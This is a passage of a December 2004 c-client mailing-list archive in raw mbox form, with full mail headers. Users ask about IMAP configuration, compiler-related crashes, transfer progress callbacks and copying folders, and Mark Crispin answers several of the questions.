X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 21 Dec 2004, Erich Beyrent wrote: > I am running FreeBSD 5.3 and have built the latest version of imap. My > problem is that I cannot seem to get IMAP to download any messages to my > Outlook client. POP3 is working correctly - in my $HOME directory, I have a > .mail file containing all the messages that sendmail dumps in there. > > What other configuration steps do I need to perform? You need to give the list some usefule information. Such as debug information, errors popping up. You can also take ethereal and check what's being sent back and forth. Then you can read c-clients documentation to see how to enable verbose output etc. *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Thu Dec 23 01:01:36 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Dec 2004 01:01:36 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBN91ZJf001703 for ; Thu, 23 Dec 2004 01:01:35 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBN91YYf031737 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 23 Dec 2004 01:01:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBN91O4r015798; Thu, 23 Dec 2004 01:01:25 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBN8xiVB090554 for ; Thu, 23 Dec 2004 00:59:44 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBN8xgnY010470 for ; Thu, 23 Dec 2004 00:59:43 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id 0BC8E29AC42 for ; Thu, 23 Dec 2004 10:27:20 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 17280-03 for ; Thu, 23 Dec 2004 10:27:10 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id 8374F29AC40 for ; Thu, 23 Dec 2004 10:27:10 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id 9DE211224A2; Thu, 23 Dec 2004 10:05:41 +0100 (CET) Received: from multitel009031.multitel.be (multitel009031.multitel.be [172.16.9.31]) by mail.multitel.be (Horde) with HTTP for ; Thu, 23 Dec 2004 10:05:41 +0100 Message-Id: <20041223100541.gp9q88gk8wwoocws@mail.multitel.be> Date: Thu, 23 Dec 2004 10:05:41 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: Platform SDK SP2 problem MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does anybody have had issues with the new platform SDK SP2? I've recompiled the library with it, and I got 2 errors. The first one is a certificate problem ( saying that my certificate is self-sign) so it won't connect. The second one is a crash (bad memory access in the ip_nt.c ip_nametoaddr function. I'm not sure, maybe it comes from the mix of VS6 and VS.NET, but it doesn't work anymore. Does anybody goes through this? Thanks Julien Hamaide -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 23 09:59:02 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Dec 2004 09:59:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBNHx2q0019984 for ; Thu, 23 Dec 2004 09:59:02 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBNHx14v030518 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 23 Dec 2004 09:59:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBNHwpnN003698; Thu, 23 Dec 2004 09:58:51 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBNHvWZE090444 for ; Thu, 23 Dec 2004 09:57:32 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBNHvVAR028366 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 23 Dec 2004 09:57:32 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBNHvV4e007185; Thu, 23 Dec 2004 09:57:31 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBNHvUXN003447; Thu, 23 Dec 2004 09:57:31 -0800 Message-Id: Date: Thu, 23 Dec 2004 09:57:30 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: hamaide@multitel.be Cc: c-client@u.washington.edu Subject: Re: Platform SDK SP2 problem In-Reply-To: <20041223100541.gp9q88gk8wwoocws@mail.multitel.be> References: <20041223100541.gp9q88gk8wwoocws@mail.multitel.be> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Do either of these problems persist in the imap-2004b release candidate: ftp://ftp.cac.washington.edu/mail/imap-2004b.RC.tar.Z If they do, I will investigate further. If imap-2004b fixes it, then the answer is "upgrade to imap-2004b, it'll be releaed in final form soon". -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 27 23:32:42 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 27 Dec 2004 23:32:42 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBS7WgIs010952 for ; Mon, 27 Dec 2004 23:32:42 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBS7WfHw002065 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 27 Dec 2004 23:32:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBS7WTrA015754; Mon, 27 Dec 2004 23:32:29 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBS7UjmS123032 for ; Mon, 27 Dec 2004 23:30:46 -0800 Received: from design.uz (ev1s-207-44-184-40.ev1servers.net [207.44.184.40] (may be forged)) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iBS7UiSb009868 for ; Mon, 27 Dec 2004 23:30:45 -0800 Received: (qmail 5221 invoked by uid 5002); 28 Dec 2004 07:30:50 -0000 Received: from unknown (HELO wazzu.dz) (195.158.30.197) by mail.design.uz with SMTP; 28 Dec 2004 07:30:50 -0000 Message-Id: <140748236.20041228123300@angren.org> Date: Tue, 28 Dec 2004 12:33:00 +0500 Reply-To: Akmal Khodjanov Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Akmal Khodjanov To: c-client@u.washington.edu Subject: Mail transfer progress state MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __BAT_MSGID 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello c-client subscribers, Happy coming new year to all of you. Is there any way I can get progress state while sending/receiving messages using c-client library? I would like to show how many bytes has been transfered so far and stuff like that. Is there any available callbacks for that? Thanks. -akmal. -- Best regards, Akmal mailto:akmal@angren.org -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 28 05:16:57 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Dec 2004 05:16:57 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBSDGv8K024074 for ; Tue, 28 Dec 2004 05:16:57 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSDGunl019180 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Dec 2004 05:16:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBSDGg4G016026; Tue, 28 Dec 2004 05:16:42 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSDFOtk043050 for ; Tue, 28 Dec 2004 05:15:24 -0800 Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBSDFNhv029644 for ; Tue, 28 Dec 2004 05:15:24 -0800 Received: from [192.168.1.102] (h00105a1fac2a.ne.client2.attbi.com[24.128.236.189]) by comcast.net (rwcrmhc12) with SMTP id <2004122813152301400h2vq6e>; Tue, 28 Dec 2004 13:15:23 +0000 Message-Id: <87392AB0-58D2-11D9-8733-000A95DC117C@dragoweb.com> Date: Tue, 28 Dec 2004 08:15:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew To: c-client@u.washington.edu Subject: copy folders/subfolders Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is the first year I have used imap. All without incident. I have users that have created a folder trees based on the year. Do any of the utlities have a wild card capability to copy all the folders and subfolders in one command or do I have to copy the folder/subfolders one folder at a time. thanks a -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 28 06:47:10 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Dec 2004 06:47:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBSElARV026354 for ; Tue, 28 Dec 2004 06:47:10 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSEl9d5029068 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Dec 2004 06:47:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBSEl15D014018; Tue, 28 Dec 2004 06:47:01 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSEjg4v092868 for ; Tue, 28 Dec 2004 06:45:42 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBSEjfqK019100 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 28 Dec 2004 06:45:42 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBSEjfXT025240; Tue, 28 Dec 2004 06:45:41 -0800 Received: from Shimo-Tomobiki.Panda.COM (168-103-155-141.tukw.qwest.net [168.103.155.141]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSEjcAM008161 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 28 Dec 2004 06:45:40 -0800 Message-Id: Date: Tue, 28 Dec 2004 06:45:42 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Cc: c-client@u.washington.edu Subject: Re: copy folders/subfolders In-Reply-To: <87392AB0-58D2-11D9-8733-000A95DC117C@dragoweb.com> References: <87392AB0-58D2-11D9-8733-000A95DC117C@dragoweb.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 28 Dec 2004, Andrew wrote: > This is the first year I have used imap. All without incident. I have users > that have created a folder trees based on the year. Do any of the utlities > have a wild card capability to copy all the folders and subfolders in one > command or do I have to copy the folder/subfolders one folder at a time. mailutil can copy a folder hierarchy. There's a man page associated with mailutil which gives more details. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Dec 28 06:51:01 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Dec 2004 06:51:01 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBSEp1Hf026452 for ; Tue, 28 Dec 2004 06:51:01 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSEp0Cd024078 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Dec 2004 06:51:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBSEokiI014882; Tue, 28 Dec 2004 06:50:46 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSEo6Ht066430 for ; Tue, 28 Dec 2004 06:50:06 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBSEo55q028988 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 28 Dec 2004 06:50:06 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBSEo5b8025479; Tue, 28 Dec 2004 06:50:05 -0800 Received: from Shimo-Tomobiki.Panda.COM (168-103-155-141.tukw.qwest.net [168.103.155.141]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSEo2rf008276 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 28 Dec 2004 06:50:04 -0800 Message-Id: Date: Tue, 28 Dec 2004 06:50:06 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Akmal Khodjanov Cc: c-client@u.washington.edu Subject: Re: Mail transfer progress state In-Reply-To: <140748236.20041228123300@angren.org> References: <140748236.20041228123300@angren.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 28 Dec 2004, Akmal Khodjanov wrote: > Is there any way I can get progress state while sending/receiving > messages using c-client library? I would like to show how many bytes > has been transfered so far and stuff like that. Is there any available > callbacks for that? Not directly. However, you have indirect ways that you can do this. In SMTP only, you can devise your own I/O function that keeps track via the rfc822out_t hook through rfc822_output(). In a more general way (SMTP, IMAP, POP, NNTP), you can use the alternative netdriver capability through the net_open() abstraction to do something like this as well. It's doable but fairly complex. I suggest that you study the code that I pointed to, and also look at the Pine source code to see how Pine uses alternative netdrivers. It'll also require some creative programming on your part. Good luck! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Dec 28 10:54:26 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 28 Dec 2004 10:54:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBSIsQ7J003153 for ; Tue, 28 Dec 2004 10:54:26 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSIsP95008137 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 28 Dec 2004 10:54:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBSIsCDt020472; Tue, 28 Dec 2004 10:54:13 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBSIqxMa043236 for ; Tue, 28 Dec 2004 10:52:59 -0800 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBSIqw4H003597 for ; Tue, 28 Dec 2004 10:52:58 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 4926B3E8228 for ; Tue, 28 Dec 2004 12:43:45 -0600 (CST) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02472-03 for ; Tue, 28 Dec 2004 12:43:44 -0600 (CST) Received: by mail.bynari.net (Postfix, from userid 404) id 743C53E8237; Tue, 28 Dec 2004 12:43:44 -0600 (CST) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 52F4B3E8228 for ; Tue, 28 Dec 2004 12:43:44 -0600 (CST) Message-Id: <41D1AB8C.1040908@bynari.net> Date: Tue, 28 Dec 2004 12:53:00 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: Not getting a BYE when a server disconnect In-Reply-To: References: <140748236.20041228123300@angren.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does c-client send a BYE to mm_notify() or mm_log() when the server disconnect after x minutes of inactivity? I had Ethereal running and when I saw a FIN from the server, c-client never sent a BYE that the connection has been disconnected. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Dec 29 03:06:10 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Dec 2004 03:06:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBTB69qt004516 for ; Wed, 29 Dec 2004 03:06:09 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBTB68EH032029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 29 Dec 2004 03:06:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBTB5uGR015064; Wed, 29 Dec 2004 03:05:57 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBTB3E5N084382 for ; Wed, 29 Dec 2004 03:03:15 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBTB3DQf016428 for ; Wed, 29 Dec 2004 03:03:14 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id 4B0E029AC7A for ; Wed, 29 Dec 2004 12:31:13 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 08102-09 for ; Wed, 29 Dec 2004 12:31:03 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id 2811F29AC78 for ; Wed, 29 Dec 2004 12:31:01 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id E53861224A2; Wed, 29 Dec 2004 12:09:00 +0100 (CET) Received: from 125-89.243.81.adsl.skynet.be (125-89.243.81.adsl.skynet.be [81.243.89.125]) by mail.multitel.be (Horde) with HTTP for ; Wed, 29 Dec 2004 12:09:00 +0100 Message-Id: <20041229120900.05gptco800go04go@mail.multitel.be> Date: Wed, 29 Dec 2004 12:09:00 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: Crash in mail_setflag_full MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, When I call the function this way mail_setflag_full(stream, "valid_uid", "\\Deleted", ST_UID) the program crash. Am i doing something wrong? The version is imap2004a AFAIK (I use a precompiled lib) Thanks -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 30 21:08:06 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Dec 2004 21:08:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iBV5862D025145 for ; Thu, 30 Dec 2004 21:08:06 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id iBV584PL011230 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 30 Dec 2004 21:08:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id iBV57sFZ018072; Thu, 30 Dec 2004 21:07:55 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id iBV56BIW058914 for ; Thu, 30 Dec 2004 21:06:11 -0800 Received: from mail.cs.umass.edu (loki.cs.umass.edu [128.119.243.168]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iBV569Uu009921 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 30 Dec 2004 21:06:10 -0800 Received: from [10.0.1.2] (c-24-91-226-63.ne.client2.attbi.com [24.91.226.63]) by mail.cs.umass.edu (8.12.11/8.12.5) with ESMTP id iBV569X6022315 for ; Fri, 31 Dec 2004 00:06:09 -0500 Message-Id: Date: Fri, 31 Dec 2004 00:06:03 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Kulp To: c-client@u.washington.edu Subject: authenticate login failure Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Spam-Net-Tests: NO (loki, relay 24.91.226.63 auth=popauth) X-Spam-Checked: This message probably not SPAM X-Spam-Score: -4.901, Required: 5 X-Spam-Tests: BAYES_00,UPPERCASE_25_50 X-Spam-Report-$ThisHost: ---- Start SpamAssassin (v2.6xx-cscf) results -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 UPPERCASE_25_50 message body is 25-50% uppercase X-MIMEDefang-Relay-1852595aaf0946a4530a11f79d6f33e3dfd75698: 24.91.226.63 